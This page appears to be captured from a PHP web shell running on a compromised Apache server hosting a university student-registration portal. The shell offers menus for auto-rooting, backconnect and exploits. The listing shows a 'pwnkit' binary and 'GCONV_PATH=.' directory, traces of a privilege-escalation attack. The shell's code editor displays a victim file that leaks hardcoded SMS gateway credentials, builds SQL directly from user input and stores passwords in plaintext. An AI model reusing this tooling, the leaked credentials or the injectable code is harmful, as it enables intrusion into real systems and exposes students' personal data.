Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.143.239.63
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
pgadm2020 /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxrwxrwx
.pkexec
[ DIR ]
drwxr-xr-x
.vscode
[ DIR ]
drwxrwxrwx
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
PHPExcel
[ DIR ]
drwxrwxrwx
Paytm
[ DIR ]
drwxrwxrwx
admin-src
[ DIR ]
drwxrwxrwx
bcu
[ DIR ]
drwxrwxrwx
bcu-admin
[ DIR ]
drwxrwxrwx
bcupg
[ DIR ]
drwxr-xr-x
bcupg-admin
[ DIR ]
drwxrwxr-x
bcupga
[ DIR ]
drwxrwxr-x
bnu
[ DIR ]
drwxrwxrwx
bnu-admin
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
docs
[ DIR ]
drwxrwxrwx
dud
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
img
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
libs
[ DIR ]
drwxrwxrwx
meritlist
[ DIR ]
drwxrwxrwx
pget_photos
[ DIR ]
drwxrwxrwx
pgetadm
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxr-x
plugins
[ DIR ]
drwxrwxrwx
razorpay
[ DIR ]
drwxrwxrwx
rcub
[ DIR ]
drwxrwxrwx
src
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
var
[ DIR ]
drwxr-xr-x
vku-admin
[ DIR ]
drwxrwxrwx
vskub
[ DIR ]
drwxrwxrwx
.DS_Store
24
KB
-rwxrwxrwx
.gitignore
43
B
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
.pgadm2020.php
3.61
KB
-rw-r--r--
api_sendmail.php
916
B
-rw-rw-r--
app.php
431
B
-rwxrwxrwx
bcupg.zip
10.21
MB
-rw-r--r--
cconfig.php
1.75
KB
-rwxrwxrwx
consts.php
212
B
-rwxrwxrwx
database.php
640
B
-rwxrwxrwx
forgot-password.php
2.53
KB
-rw-rw-r--
forgot-password_old.php
2.19
KB
-rwxrwxrwx
gmail_test.php
2.01
KB
-rw-rw-r--
instruction_regn.html
4.45
KB
-rwxrwxrwx
login.php
317
B
-rwxrwxrwx
merit_list.php
1.86
KB
-rwxrwxrwx
pgResponse.php
13.55
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
resetpassword.php
697
B
-rwxrwxrwx
rzp.csv
67
B
-rwxrwxrwx
sendGridMail.php
1.28
KB
-rwxrwxrwx
sendMobEmailOTP.php
3.55
KB
-rwxrwxrwx
sendsmsapi.php
814
B
-rwxrwxrwx
signin.php
973
B
-rwxrwxrwx
signup.php
1.22
KB
-rwxrwxrwx
student.php
13.52
KB
-rwxrwxrwx
test.php
1.48
KB
-rwxrwxrwx
upload.php
415
B
-rwxrwxrwx
upload1.php
423
B
-rwxrwxrwx
upload_file.php
787
B
-rwxrwxrwx
upload_file_org.php
787
B
-rwxrwxrwx
upload_file_pg.php
740
B
-rwxrwxrwx
validateRegno.php
2.51
KB
-rwxrwxrwx
validateRegno_04092020.php
2.03
KB
-rwxrwxrwx
verify.php
11.24
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sendMobEmailOTP.php
<?php include ("database.php"); //require_once("cManualMailer.php"); //error_reporting(E_ALL); ini_set('display_errors', 'on'); include("sendsmsapi.php"); include("sendGridMail.php"); $mobile = trim($_POST['mobile']); $emailid = trim($_POST['email']); $regno = strtoupper(trim($_POST['regno'])); $univcode = trim($_POST['univ']); $dob = trim($_POST['dob']);//password $passwd = trim($_POST['password']); $adharno = trim($_POST['adharno']);//parmobile $parmobile = trim($_POST['parmobile']); $query = "select fmobileotp, femailotp from masuser where fmobileno = '{$mobile}' and ROUND(time_to_sec((TIMEDIFF(NOW(), fmobotptime))) / 60) <= 5"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); $row = $result->fetch_assoc(); date_default_timezone_set('Asia/Kolkata'); $time = date("h:i A"); if($count > 0) { //$arr['row'] = $row; $motpaswrd = $row['fmobileotp']; $emailotp = $row['femailotp']; $smsotp = "Dear Student, Your mobile OTP for Registration is, {$motpaswrd}. Sent at {$time}"; } else { $motpaswrd = rand(100000, 900000); //strtoupper(substr(sha1(rand()), 0, 4)); $emailotp = genEmailotp(6); $smsotp = "Dear Student, Your mobile OTP for Registration is {$motpaswrd}. Sent at {$time}"; } $username = 'logisyhttp'; $password = 'logisy@928'; $from = 'LOGINF'; $to = $mobile; $text = $smsotp; $category = ''; //$arr['text'] = $text; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); $arr["sms"] = $smsresp; $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Your Email OTP for Registration is ".$emailotp."</p></br>"; //$message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>---------------------------------<br/>Register number : ".$regno." <br/> Email OTP : ".$emailotp."<br/>----------------------------------</p></br>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="Student Portal Authentication"; $resp = sendGridMail($emailid,$subject,$message); $data = json_decode($resp, true); //$data = send_manual_mail($emailid,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in'); if($univcode != '008') $adharno = ''; $query = "insert into masuser(fmobileno, fmobileotp, fmobotptime, femail, femailotp, femailotptime, fregno, fdob, funivcode, fpasswd,fadharno, fparentmob) values('$mobile','{$motpaswrd}', now(), '{$emailid}', '{$emailotp}', now(), '{$regno}','{$dob}', '{$univcode}', '{$passwd}','{$adharno}','{$parmobile}') ON DUPLICATE KEY UPDATE fmobileno = '{$mobile}', fmobileotp = '{$motpaswrd}', fmobotptime = now(), femail = '{$emailid}', femailotp = '{$emailotp}', femailotptime = now(), fregno = '{$regno}', fdob = '{$dob}', funivcode = '{$univcode}', fpasswd ='{$passwd}',fotpcounter = fotpcounter+1, fadharno = '{$adharno}', fparentmob = '{$parmobile}'"; //var_dump($query); if (mysqli_query($conn,$query)) { $arr["status"] = 'success'; } else { $arr["status"] = 'error'; } //$arr["email"] = $data['message']; echo json_encode($arr); function genEmailotp($length) { $emailotp = ""; $characters = array_merge(range('A','Z')); $max = count($characters) - 1; for ($i = 0; $i < $length; $i++) { $rand = mt_rand(0, $max); $emailotp .= $characters[$rand]; } return $emailotp; } ?>
Close